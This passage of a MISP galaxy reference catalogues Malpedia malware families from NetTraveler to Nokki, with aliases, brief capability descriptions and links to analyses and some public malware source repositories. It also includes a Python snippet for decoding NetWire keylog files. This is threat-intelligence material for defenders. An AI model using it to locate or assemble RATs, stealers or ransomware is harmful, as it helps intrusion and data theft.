</table>
NetTraveler

The tag is: `misp-galaxy:malpedia="NetTraveler"`

NetTraveler is also known as:

- TravNet

NetWire RC

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.

Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:

```python
for i in range(0,num_read):
    buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
```

The tag is: `misp-galaxy:malpedia="NetWire RC"`

NetWire RC is also known as:

- NetWeird
- NetWire
- Recam
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire">https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data">https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg">https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1dD2sWYES_hrPoqI4G0aVF9IL1xAS4Fd/view">https://drive.google.com/file/d/1dD2sWYES_hrPoqI4G0aVF9IL1xAS4Fd/view</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/">https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers">https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ta2541-apt-rats-aviation/178422/">https://threatpost.com/ta2541-apt-rats-aviation/178422/</a></td>
</tr>
<tr>
<td><a href="https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html">https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html</a></td>
</tr>
<tr>
<td><a href="https://lmntrix.com/lab/analysis-of-netwire-rat/">https://lmntrix.com/lab/analysis-of-netwire-rat/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/2475ad2">https://community.riskiq.com/article/2475ad2</a></td>
</tr>
<tr>
<td><a href="https://info.spamhaus.org/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf">https://info.spamhaus.org/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign">https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.circl.lu/pub/tr-23/">https://www.circl.lu/pub/tr-23/</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader">https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-trinity">https://www.secureworks.com/research/threat-profiles/cobalt-trinity</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-">https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-</a></td>
</tr>
<tr>
<td>pandemic-latest-malware-and-threat-actors</td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/catching-rats-over-">https://www.zscaler.com/blogs/security-research/catching-rats-over-</a></td>
</tr>
<tr>
<td>custom-protocols</td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfus-">https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfus-</a></td>
</tr>
<tr>
<td>cation/</td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-">http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-</a></td>
</tr>
<tr>
<td>confuserex.html</td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/">https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/</a></td>
</tr>
<tr>
<td>view</td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickg-">https://research.checkpoint.com/2023/following-the-scent-of-trickg-</a></td>
</tr>
<tr>
<td>ate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-">https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-</a></td>
</tr>
<tr>
<td>to-years-of-attacks-on-aviation-transport-sectors/</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolut-">https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolut-</a></td>
</tr>
<tr>
<td>ion-and-bloomberg.html</td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA">https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA</a></td>
</tr>
<tr>
<td><a href="https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-a-">https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-a-</a></td>
</tr>
<tr>
<td>ctor-d3b3020625a4</td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/roboski-global-recovery-aut-">https://securityintelligence.com/posts/roboski-global-recovery-aut-</a></td>
</tr>
<tr>
<td>omation/</td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-">https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-</a></td>
</tr>
<tr>
<td>of-fabricating-evidence/</td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-d-">https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-d-</a></td>
</tr>
<tr>
<td>ownloader-uses-microsoft-sql-retrieve-malware</td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/">https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/</a></td>
</tr>
<tr>
<td><a href="https://research.loginsoft.com/threat-research/from-innocence-to-">https://research.loginsoft.com/threat-research/from-innocence-to-</a></td>
</tr>
<tr>
<td>malice-the-onenote-malware-campaign-uncovered/</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=TeQdZxP0RYY">https://www.youtube.com/watch?v=TeQdZxP0RYY</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-as-">https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-as-</a></td>
</tr>
<tr>
<td>syncrat-spreading.html</td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-exposes-malware-target-">https://www.cybereason.com/blog/cybereason-exposes-malware-target-</a></td>
</tr>
<tr>
<td>ing-us-taxpayers</td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-</a></td>
</tr>
<tr>
<td>notes/</td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2021/09/thursday-netwire-rat-is-c-">https://blogs.blackberry.com/en/2021/09/thursday-netwire-rat-is-c-</a></td>
</tr>
<tr>
<td>oming-down-the-line</td>
</tr>
<tr>
<td><a href="https://www.cipheranswersolutions.com/roboski-global-recovery-aut-">https://www.cipheranswersolutions.com/roboski-global-recovery-aut-</a></td>
</tr>
<tr>
<td>omation/</td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2023/03/10/fbi_netwire_seizure/">https://www.theregister.com/2023/03/10/fbi_netwire_seizure/</a></td>
</tr>
<tr>
<td><a href="https://www.amnesty.org/en/latest/research/2020/06/india-human-righ-">https://www.amnesty.org/en/latest/research/2020/06/india-human-righ-</a></td>
</tr>
<tr>
<td>ts-defenders-targeted-by-a-coordinated-spyware-operation/</td>
</tr>
<tr>
<td><a href="https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COV-">https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COV-</a></td>
</tr>
<tr>
<td>ID-Report_Final.pdf</td>
</tr>
<tr>
<td><a href="https://news.drweb.ru/show/?i=13281&amp;c=23">https://news.drweb.ru/show/?i=13281&amp;c=23</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2020/05/14/raticate/">https://news.sophos.com/en-us/2020/05/14/raticate/</a></td>
</tr>
<tr>
<td><a href="https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-tro-">https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-tro-</a></td>
</tr>
<tr>
<td>jan/</td>
</tr>
</tbody>
</table>

**Neuron**

The tag is: *misp-galaxy:malpedia="Neuron"*
Neuron is also known as:

Table 3665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron">https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron</a></td>
</tr>
<tr>
<td><a href="https://www.ncsc.gov.uk/alerts/turla-group-malware">https://www.ncsc.gov.uk/alerts/turla-group-malware</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hunter">https://www.secureworks.com/research/threat-profiles/iron-hunter</a></td>
</tr>
</tbody>
</table>

Neutrino

The tag is: `misp-galaxy:malpedia="Neutrino"

Neutrino is also known as:

- Kasidet

Table 3666. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino">https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/">https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/</a></td>
</tr>
</tbody>
</table>
**Neutrino POS**

The tag is: *misp-galaxy:malpedia="Neutrino POS"*

Neutrino POS is also known as:

(Table 3667. Table References)

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/neutrino-modification-for-pos-terminals/78839/">https://securelist.com/neutrino-modification-for-pos-terminals/78839/</a></td>
</tr>
</tbody>
</table>

**NewBounce**

The tag is: *misp-galaxy:malpedia="NewBounce"*

NewBounce is also known as:

(Table 3668. Table References)

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce">https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce</a></td>
</tr>
</tbody>
</table>

**NewCore RAT**

The tag is: *misp-galaxy:malpedia="NewCore RAT"*

NewCore RAT is also known as:

(Table 3669. Table References)

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view">https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cycldek-bridging-the-air-gap/97157/">https://securelist.com/cycldek-bridging-the-air-gap/97157/</a></td>
</tr>
<tr>
<td><a href="https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations">https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6">https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6</a></td>
</tr>
<tr>
<td><a href="https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html">https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html</a></td>
</tr>
</tbody>
</table>
NewPass

The tag is: misp-galaxy:malpedia="NewPass"

NewPass is also known as:

Table 3670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass">malpedia.caad.fkie.fraunhofer.de/details/win.newpass</a></td>
</tr>
</tbody>
</table>

NewPosThings

The tag is: misp-galaxy:malpedia="NewPosThings"

NewPosThings is also known as:

Table 3671. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings">malpedia.caad.fkie.fraunhofer.de/details/win.newposthings</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/">newposthings-has-new-pos-things</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html">multigrain_pointo.html</a></td>
</tr>
</tbody>
</table>

NewsReels

The tag is: misp-galaxy:malpedia="NewsReels"

NewsReels is also known as:

Table 3672. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels">malpedia.caad.fkie.fraunhofer.de/details/win.newsreels</a></td>
</tr>
</tbody>
</table>

NewCT

The tag is: misp-galaxy:malpedia="NewCT"

NewCT is also known as:
• CT

Table 3673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct">https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-express">https://www.secureworks.com/research/threat-profiles/bronze-express</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/shallowtaurus/">https://unit42.paloaltonetworks.com/atoms/shallowtaurus/</a></td>
</tr>
</tbody>
</table>

**Nexster Bot**

The tag is: `misp-galaxy:malpedia="Nexster Bot"`

Nexster Bot is also known as:

Table 3674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot">https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/benkow_/status/789006720668405760">https://twitter.com/benkow_/status/789006720668405760</a></td>
</tr>
</tbody>
</table>

**NexusLogger**

The tag is: `misp-galaxy:malpedia="NexusLogger"`

NexusLogger is also known as:

Table 3675. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger">https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PhysicalDrive0/status/842853292124360706">https://twitter.com/PhysicalDrive0/status/842853292124360706</a></td>
</tr>
</tbody>
</table>

**Ngioweb (Windows)**

The tag is: `misp-galaxy:malpedia="Ngioweb (Windows)"`

Ngioweb (Windows) is also known as:

• Grobios
**NGLite**

According to Unit42, NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.

The tag is: `misp-galaxy:malpedia="NGLite"`

NGLite is also known as:

**Nibiru**

The tag is: `misp-galaxy:malpedia="Nibiru"`

Nibiru is also known as:

**NightClub**

The tag is: `misp-galaxy:malpedia="NightClub"`

NightClub is also known as:
**Nighthawk**

C2 framework.

The tag is: `misp-galaxy:malpedia="Nighthawk"`

Nighthawk is also known as:

*Table 3680. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk">https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk</a></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html">https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html</a></td>
</tr>
<tr>
<td><a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f</a></td>
</tr>
<tr>
<td><a href="https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py">https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py</a></td>
</tr>
</tbody>
</table>

**NightSky**

The tag is: `misp-galaxy:malpedia="NightSky"`

NightSky is also known as:

- Night Sky

*Table 3681. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky">https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cglyer/status/1480734487000453121">https://twitter.com/cglyer/status/1480734487000453121</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/threats-loomong-over-the-horizon/">https://www.cynet.com/attack-techniques-hands-on/threats-loomong-over-the-horizon/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader">https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Yzt_zO08pDM">https://www.youtube.com/watch?v=Yzt_zO08pDM</a></td>
</tr>
</tbody>
</table>
NimbleMamba

NimbleMamba is a new implant used by TA402/Molerats group as replacement of LastConn. It uses guardrails to ensure that victims are within the TA's target region. It is written in C# and delivered as an obfuscated .NET executable. One seen obfuscator is SmartAssembly.

The tag is: `misp-galaxy:malpedia="NimbleMamba "`

NimbleMamba is also known as:

Table 3682. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nimblemamba">https://malpedia.caad.fkie.fraunhofer.de/details/win.nimblemamba</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/palestinian-hackers-using-new.html">https://thehackernews.com/2022/02/palestinian-hackers-using-new.html</a></td>
</tr>
</tbody>
</table>

Nimbo-C2 (Windows)

According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It’s written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).

The tag is: `misp-galaxy:malpedia="Nimbo-C2 (Windows)"`

Nimbo-C2 (Windows) is also known as:

Table 3683. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2">https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2</a></td>
</tr>
<tr>
<td><a href="https://github.com/itaymigdal/Nimbo-C2">https://github.com/itaymigdal/Nimbo-C2</a></td>
</tr>
</tbody>
</table>

NimGrabber

Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.

The tag is: `misp-galaxy:malpedia="NimGrabber"`
NimGrabber is also known as:

Table 3684. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber">https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber</a></td>
</tr>
</tbody>
</table>

**Nimplant**

Part of Mythic C2, written in Nim. Considered deprecated, as it is only compatible with Mythic 2.1.

The tag is: `misp-galaxy:malpedia="Nimplant"`

Nimplant is also known as:

Table 3685. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant">https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant</a></td>
</tr>
<tr>
<td><a href="https://github.com/MythicAgents/nimplant">https://github.com/MythicAgents/nimplant</a></td>
</tr>
</tbody>
</table>

**Nimrev**

Backdoor written in Nim.

The tag is: `misp-galaxy:malpedia="Nimrev"`

Nimrev is also known as:

Table 3686. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev">https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev</a></td>
</tr>
</tbody>
</table>

**NimBlackout**

According to its author, NimBlackout is an adaptation of the @Blackout project originally developed in C++ by @ZeroMemoryEx, which consists of removing AV/EDRs using the gmer (BYOVD) driver. The main reason for this project was to understand how BYOVD attacks work, and then to provide a valid PoC developed in Nim.

The tag is: `misp-galaxy:malpedia="NimBlackout"`

NimBlackout is also known as:
NirCmd

NirCmd is a benign tool by NirSoft that provides various functionalities. Among these is e.g. a capability to start regedit as SYSTEM, which is sometimes abused for privilege escalation, or other functionality abusable for other malicious purposes. It is also frequently flagged by AV engines.

The tag is: misp-galaxy:malpedia="NirCmd"

NirCmd is also known as:

Table 3688. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nircmd">https://malpedia.caad.fkie.fraunhofer.de/details/win.nircmd</a></td>
</tr>
<tr>
<td><a href="https://www.nirsoft.net/utils/nircmd.html">https://www.nirsoft.net/utils/nircmd.html</a></td>
</tr>
</tbody>
</table>

nitlove

The tag is: misp-galaxy:malpedia="nitlove"

nitlove is also known as:

Table 3689. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove">https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html">https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html</a></td>
</tr>
</tbody>
</table>

Nitol

The tag is: misp-galaxy:malpedia="Nitol"

Nitol is also known as:

Table 3690. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol">https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/tag/nitol/">https://krebsonsecurity.com/tag/nitol/</a></td>
</tr>
</tbody>
</table>
Nitro

Ransomware family which requires payment in Discord gift cards ("Discord Nitro").

The tag is: misp-galaxy:malpedia="Nitro"

Nitro is also known as:

- Hydra

Table 3691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro">https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1430616882231578624">https://twitter.com/malwrhunterteam/status/1430616882231578624</a></td>
</tr>
<tr>
<td><a href="https://github.com/nightfallgt/nitro-ransomware">https://github.com/nightfallgt/nitro-ransomware</a></td>
</tr>
</tbody>
</table>

Nitrokod

A Turkish cryptominer campaign.

The tag is: misp-galaxy:malpedia="Nitrokod"

Nitrokod is also known as:

Table 3692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrokod">https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrokod</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications">https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications</a></td>
</tr>
</tbody>
</table>

NixScare Stealer

The tag is: misp-galaxy:malpedia="NixScare Stealer"

NixScare Stealer is also known as:
**NjRAT**

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

The tag is: *misp-galaxy:malpedia=NjRAT*

NjRAT is also known as:

- Bladabindi
- Lime-Worm

**Table 3694. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat</a></td>
</tr>
<tr>
<td><a href="https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT">https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/">https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/">https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/rats-in-the-library">https://blog.reversinglabs.com/blog/rats-in-the-library</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/syk-crypter-discord">https://blog.morphisec.com/syk-crypter-discord</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=21904">https://labs.k7computing.com/?p=21904</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html">https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html</a></td>
</tr>
<tr>
<td><a href="https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/">https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA">https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA</a></td>
</tr>
<tr>
<td><a href="https://ti.360.net/blog/articles/analysis-of-apt-c-27/">https://ti.360.net/blog/articles/analysis-of-apt-c-27/</a></td>
</tr>
<tr>
<td><a href="https://www.ciphertechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertechsolutions.com/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1449132020613922828">https://twitter.com/ESETresearch/status/1449132020613922828</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2020/05/14/raticate/">https://news.sophos.com/en-us/2020/05/14/raticate/</a></td>
</tr>
</tbody>
</table>
nmass malware

It's .NET Rat with hardcoded key

The tag is: `misp-galaxy:malpedia=`nmass malware"

nmass malware is also known as:

Table 3695. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.nmass
https://sebdraven.medium.com/a-net-rat-target-mongolia-9c1439bc2

Nocturnal Stealer

The tag is: `misp-galaxy:malpedia=`Nocturnal Stealer"

Nocturnal Stealer is also known as:

Table 3696. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer
NodeStealer

The tag is: misp-galaxy:malpedia="NodeStealer"

NodeStealer is also known as:

Table 3697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.node_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.node_stealer</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/">https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/</a></td>
</tr>
</tbody>
</table>

Nokki

Nokki is a RAT type malware which is believed to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.

The tag is: misp-galaxy:malpedia="Nokki"

Nokki is also known as:

Table 3698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
